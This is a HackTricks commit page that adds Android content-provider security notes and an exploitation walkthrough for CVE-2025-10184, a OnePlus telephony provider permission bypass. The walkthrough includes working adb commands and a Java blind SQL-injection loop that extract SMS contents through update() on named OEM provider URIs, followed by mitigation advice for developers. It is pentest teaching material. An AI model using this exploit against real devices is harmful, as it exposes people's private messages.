Skip to content

Commit d13cb47

Browse files
author
HackTricks News Bot
committed
Add content from: CVE-2025-10184: OnePlus OxygenOS Telephony provider permissi...
- Remove searchindex.js (auto-generated file)
1 parent 74cc86a commit d13cb47

3 files changed

Lines changed: 108 additions & 1 deletion

File tree

searchindex.js

Lines changed: 0 additions & 1 deletion
This file was deleted.

src/mobile-pentesting/android-app-pentesting/android-applications-basics.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -322,6 +322,12 @@ To understand a receiver's functionality, look for the **`onReceive`** method wi
322322

323323
Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: `insert()`, `update()`, `delete()`, and `query()`, facilitating data manipulation and sharing among applications.
324324

325+
### Permission semantics and pitfalls (Content Providers)
326+
327+
- If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider.
328+
- Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates.
329+
- Prefer android:exported="false" unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern.
330+
325331
**FileProvider**, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by `android:exported` and `android:resource` pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently.
326332

327333
Example manifest declaration for FileProvider:
@@ -500,6 +506,11 @@ Tools / scripts that speed-up Binder reconnaissance:
500506
- [Android Developer Docs – AIDL](https://developer.android.com/guide/components/aidl)
501507
- [Android Developer Docs – IBinder](https://developer.android.com/reference/android/os/IBinder)
502508
- [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8)
509+
- [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/)
510+
- [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics)
511+
- [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn)
512+
- [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn)
513+
- [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[]))
503514

504515
{{#include ../../banners/hacktricks-training.md}}
505516

src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -157,6 +157,98 @@ Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/not
157157
sqlite_sequence
158158
```
159159

160+
### writePermission omission + blind SQLi via update()
161+
162+
A common OEM mistake is to export a ContentProvider with a readPermission but omit writePermission. When writePermission is null, any app can call insert/update/delete if those methods are implemented. If update() concatenates the caller-controlled WHERE (selection) directly into an SQL statement, you can build a blind inference oracle and exfiltrate data from other tables in the same SQLite DB (even those normally protected by privileged read permissions like READ_SMS).
163+
164+
Key idea
165+
- Exported provider, readPermission set, writePermission omitted
166+
- update(uri, values, where, whereArgs) returns rows-affected; UNIQUE constraint errors also indicate a write attempt happened
167+
- Attack controls WHERE to evaluate a Boolean expression over a subquery that reads secret data from co-located tables
168+
- If the provider’s table is empty, insert() can be abused to seed a row so update() affects ≥1 row
169+
170+
Discovery workflow
171+
- Enumerate exported providers and check perms:
172+
- drozer: run app.provider.info -a <pkg>
173+
- adb: aapt dump xmltree APK AndroidManifest.xml | grep -A5 "<provider"
174+
- Look for providers with readPermission set but writePermission missing
175+
- Confirm update() is implemented and selection is injectable (projection/selection/sortOrder often are; update() selection is commonly overlooked)
176+
177+
Co-location and schema probe (adb)
178+
Use sqlite_master to verify the target table exists in the same DB file:
179+
180+
```bash
181+
adb shell cmd content query \
182+
--uri content://service-number/service_number \
183+
--where '(SELECT COUNT(*) FROM (SELECT tbl_name FROM sqlite_master WHERE tbl_name = "sms"))>0'
184+
```
185+
186+
Seeding a row (if needed)
187+
If update() returns 0 because the provider’s table is empty, insert a dummy row first. Many OEM providers accept arbitrary ContentValues with no validation:
188+
189+
```bash
190+
adb shell cmd content insert \
191+
--uri content://service-number/service_number \
192+
--bind hash_number:s:dummy
193+
```
194+
195+
Blind Boolean oracle via update()
196+
- Predicate template: 1=1 AND unicode(substr((<subquery>), <idx>, 1)) BETWEEN <lo> AND <hi>
197+
- TRUE if update() > 0 or a UNIQUE constraint exception is thrown; FALSE otherwise
198+
- Binary search [0..127] to recover each character
199+
200+
Minimal extraction loop (pseudocode)
201+
```java
202+
boolean probe(Uri uri, String where) {
203+
ContentValues cv = new ContentValues();
204+
cv.put("rowid", "123");
205+
try {
206+
return getContentResolver().update(uri, cv, where, null) > 0;
207+
} catch (Exception e) {
208+
return e.getMessage() != null && e.getMessage().contains("UNIQUE constraint failed");
209+
}
210+
}
211+
212+
char leakChar(Uri uri, String subquery, int pos) {
213+
int lo = 0, win = 127;
214+
while (true) {
215+
String where = String.format(
216+
"1=1 AND unicode(substr((%s), %d, 1)) BETWEEN %d AND %d",
217+
subquery, pos, lo, lo + win);
218+
if (probe(uri, where)) {
219+
if (win == 0) return (char) lo;
220+
win = (win > 3) ? (win / 2) : (win - 1);
221+
} else {
222+
if (lo == 0 && win == 127) return '\0';
223+
lo = (win > 0) ? (lo + win) : (lo + 1);
224+
}
225+
}
226+
}
227+
```
228+
229+
adb example of a single probe
230+
```bash
231+
# Try to infer whether first char of latest SMS body is between '0'(48) and '9'(57)
232+
adb shell cmd content update \
233+
--uri content://service-number/service_number \
234+
--bind rowid:s:123 \
235+
--where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'
236+
```
237+
238+
Notes
239+
- Works only if the target table (e.g., sms) is in the same SQLite database used by the vulnerable provider
240+
- insert()/update()/delete() must be callable by unprivileged apps (writePermission omitted)
241+
- The exact URI and table names differ per OEM/provider; examples seen in the wild include:
242+
- content://service-number/service_number
243+
- content://push-mms/push
244+
- content://push-shop/push_shop
245+
246+
Mitigations for app/ROM developers
247+
- Always declare both readPermission and writePermission on exported providers; prefer android:exported="false" by default
248+
- Sanitize or bind selection / projection / sortOrder; do not concatenate caller input into SQL
249+
- Use SQLiteQueryBuilder with a projection map and fixed WHERE templates; validate column names against a whitelist
250+
- Keep sensitive tables in a separate DB not shared with untrusted providers
251+
160252
## **File System-backed Content Providers**
161253

162254
Content providers could be also used to **access files:**
@@ -249,6 +341,11 @@ These changes in recent Android versions mean many legacy exploitation primitive
249341

250342
## References
251343

344+
- [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/)
345+
- [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics)
346+
- [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn)
347+
- [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn)
348+
- [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[]))
252349
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
253350
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
254351
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)

0 commit comments

Comments
 (0)